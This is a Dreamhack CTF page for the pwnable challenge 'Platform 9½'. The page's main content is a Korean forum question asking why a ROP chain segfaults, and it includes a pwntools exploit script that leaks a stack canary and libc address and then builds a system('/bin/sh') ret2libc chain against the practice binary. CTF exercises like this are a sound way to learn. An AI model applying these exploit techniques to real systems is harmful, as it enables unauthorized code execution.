LEVEL 4

Platform 9½

pwnable
  • 문제 정보
  • 풀이 14
  • 난이도 투표 20
  • 질문 1
  • 최근 풀이자 59
  • 댓글 1
해당 문제는 Dreamhack CTF Season 7 Round #14 (🌱Div2) 에 출제된 문제입니다.

문제 설명

Description

You can board Dreamhack Express from platform 9½!

난이도 투표 20

질문 1

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
ROP 가젯 실행 안됨
rop 가젯이 스택에 잘 들어갔는데도 stopped with exit code -11 (SIGSEGV) 발생합니다 어떻게 해야 해결 가능 할까요? 다음은 코어파일 분석 결과입니다. 마지막에 3을 전송 하여 리턴주소 속 덮인 rop 가젯을 실행 시킬 생각으로 코드를 작성하였습니다. from pwn import * context.log_level = 'debug' #p = remote("host8.dreamhack.games", 20068) p = process("./chall", env={"LD_PRELOAD": "./libc.so.6"}) lib = ELF("./libc.so.6") def edit(train_idx, payload): p.sendlineafter(b">> ", b"2") p.sendlineafter(b"Enter train number:", str(train_idx).encode()) p.send(payload) def view(train_idx): p.sendlineafter(b">>", b"1") p.sendlineafter("Enter train number:", str(train_idx).encode()) [1] overwrite the bss edit(0, str(2077).encode()) [2] leak the canary payload = b"a" * 0x88 + b"b" edit(1,payload) view(1) p.recvuntil(payload) line = p.recvline().strip() print(f"[raw] {line.hex()}") if len(line) < 7: print("[-] Leak too short!") exit() canary = b"\x00" + line[:7] print(f"[+] canary: {hex(u64(canary))}") [3] leak the libc payload = b"a"* 0x98 edit(1,payload) view(1) p.recvuntil(payload) libc_start_main = p.recv(6) + b"\x00\x00" print(f"libc_start_main: {hex(u64(libc_start_main))}") libc = u64(libc_start_main) libc_base = libc - 0x21ca - 0x28000 print(f"libc_base: {hex(libc_base)}") [4] ROP one_gadget = libc_base + 0x583ec # 0x583f3, 0xef4ce, 0xef52b rop = ROP(lib) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] + libc_base system = libc_base + lib.symbols['system'] binsh = next(lib.search(b'/bin/sh')) + libc_base ret = next(lib.search(asm("ret"))) + libc_base print(f"[+] pop rdi; ret gadget : {hex(pop_rdi)}") print(f"[+] system() address : {hex(system)}") print(f"[+] \"/bin/sh\" string : {hex(binsh)}") print(f"[+] ret gadget : {hex(ret)}") payload = b"a" * 0x88 + canary + b"a" * 8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) edit(1,payload) p.interactive() `
avatar haehet
LEVEL 4

Platform 9½

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
keymoon
2024 Invitational CHAMPION
출제된 지 41분 만에 풀이 완료!

최근 풀이자 59

avatar
연어초밥
공부벌레
tsuneki
대표 업적 없음
avatar
sykyle46
대표 업적 없음
avatar
Strangek
대표 업적 없음
avatar
TheFlash2k
대표 업적 없음
nomeaning
대표 업적 없음
avatar
pandas
시스템 해킹 전문가
kwakmu18
시스템 해킹 전문가
avatar
yadohyun
대표 업적 없음
avatar
keyme
CTF Second Place

댓글 1

avatar
Rootsquare
바탈리온
What is this strange train...